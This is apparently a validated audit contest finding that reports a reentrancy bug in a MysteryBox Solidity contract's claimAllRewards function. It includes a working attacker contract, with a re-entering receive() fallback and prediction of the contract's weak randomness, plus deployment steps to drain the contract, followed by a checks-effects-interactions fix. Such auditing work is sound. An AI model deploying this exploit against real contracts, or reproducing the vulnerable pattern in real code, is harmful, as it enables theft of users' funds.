Mystery Box

First Flight #25
Beginner FriendlyFoundry
100 EXP
View results
Submission Details
Severity: high
Valid

Reentrancy Vulnerability in the `claimAllRewards` Function

Summary

The claimAllRewards function is intended to allow users to claim all their rewards by transferring the total value of rewards owed to them. However, the current implementation of the function is vulnerable to a reentrancy attack, which can allow a malicious user to exploit the contract and withdraw more funds than they are entitled to.

Vulnerability Details

The vulnerability arises from the order of operations within the function. Specifically, the contract sends funds to the caller before updating the state variable rewardsOwned[msg.sender]. This opens the possibility for an attacker to re-enter the claimAllRewards function and repeatedly drain funds before the state is updated.

// MysteryBox.sol: line 79 to 90
function claimAllRewards() public {
uint256 totalValue = 0;
for (uint256 i = 0; i < rewardsOwned[msg.sender].length; i++) {
totalValue += rewardsOwned[msg.sender][i].value;
}
require(totalValue > 0, "No rewards to claim");
(bool success,) = payable(msg.sender).call{value: totalValue}("");
require(success, "Transfer failed-> Check");
delete rewardsOwned[msg.sender];
}

Detailed Breakdown:

  1. Loop Calculation of Total Rewards: The function loops through the rewardsOwned[msg.sender] array to calculate the total reward value. This is safe in itself, but the vulnerability occurs later in the code execution.

  2. Funds Transfer: After checking if the totalValue is greater than 0, the contract initiates a low-level call using:

(bool success,) = payable(msg.sender).call{value: totalValue}("");

The low-level .call() method allows the recipient (in this case, msg.sender) to execute arbitrary code. If the msg.sender is a smart contract, it could include a fallback function or exploit that re-enters the claimAllRewards function before the state is updated.

  • State Update Vulnerability: After transferring the funds, the contract proceeds to delete the rewardsOwned[msg.sender] array. However, if an attacker re-enters the function (via the fallback function) during the call operation, they can trigger multiple executions of the claimAllRewards function, each time receiving the full totalValue.

    This happens because the state (rewardsOwned[msg.sender]) is not updated (i.e., deleted) until after the funds transfer. Therefore, on each reentry, the array still holds the rewards, allowing the attacker to continuously withdraw.

POC:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface IRewardsContract {
function buyBox() external payable;
function openBox() external;
function boxesOwned(address _owner) external view returns (uint256);
function claimAllRewards() external;
}
contract Malicious {
IRewardsContract public rewardsContract;
address public owner;
uint256 public callCount = 0 ;
constructor(address _rewardsContract) {
rewardsContract = IRewardsContract(_rewardsContract);
owner = msg.sender;
}
function calculateRandom() public view returns (uint256) {
return uint256(keccak256(abi.encodePacked(block.timestamp, address(this)))) % 100;
}
function buy() public payable {
rewardsContract.buyBox{value: 0.1 ether}();
}
function attack() public {
require(rewardsContract.boxesOwned(address(this)) > 0, "No boxes owned");
uint256 predictedRandomValue = calculateRandom();
if (predictedRandomValue >= 90) {
rewardsContract.openBox();
rewardsContract.claimAllRewards();
}
}
receive() external payable {
// Limit the number of recursive calls to prevent reverts
if (address(rewardsContract).balance > 0) {
callCount++;
rewardsContract.claimAllRewards();
}
}
}

*I Chained the bug together just to demonstrate how easy it could be to Exploit this Vulnerability *

  • 1=> Deploy the MysteryBox.sol Contract In Remix IDE and Fund The Contract

  • 2=> Deploy My Exploit Contract Using the MysteryBox.sol Contract Address And Fund it With any Amount (1 ether)

  • 3=> call the buy function in my exploit and start calling the attack function i chained it with the randomness issue to have a quick win but when ever their is any win it triggers the `Reentrancy Vulnerability` and drain all the balance in the game contract

Impact

  • Fund Drainage: An attacker can continuously withdraw funds from the contract until its balance is exhausted.

  • Denial of Service: The contract may run out of funds, preventing legitimate users from claiming their rewards.

Tools Used

  • Remix IDE

  • gas used to avoid revert while performing the attack: 80000000

Recommendations

To mitigate the reentrancy vulnerability, the function should update the state before transferring any funds. This can be achieved by using the Checks-Effects-Interactions pattern, where the contract’s state is updated before any external calls are made. The updated function should look like this:

function claimAllRewards() public {
uint256 totalValue = 0;
for (uint256 i = 0; i < rewardsOwned[msg.sender].length; i++) {
totalValue += rewardsOwned[msg.sender][i].value;
}
require(totalValue > 0, "No rewards to claim");
// Update the state before transferring funds
delete rewardsOwned[msg.sender];
(bool success,) = payable(msg.sender).call{value: totalValue}("");
require(success, "Transfer failed");
}

By deleting rewardsOwned[msg.sender] before sending the funds, the attacker cannot re-enter the function and claim rewards multiple times.

Recommendations:

  1. Implement Checks-Effects-Interactions Pattern: Always update the contract’s state before making external calls to avoid reentrancy vulnerabilities.

  2. Consider Using OpenZeppelin’s ReentrancyGuard: This library provides a simple modifier (nonReentrant) that can be applied to functions to prevent reentrancy attacks.

  3. Limit Gas for .call(): Limit the gas available for external calls to reduce the chances of an attacker executing complex fallback functions during the call.

Updates

Appeal created

inallhonesty Lead Judge about 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

`claimAllRewards` reentrancy

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!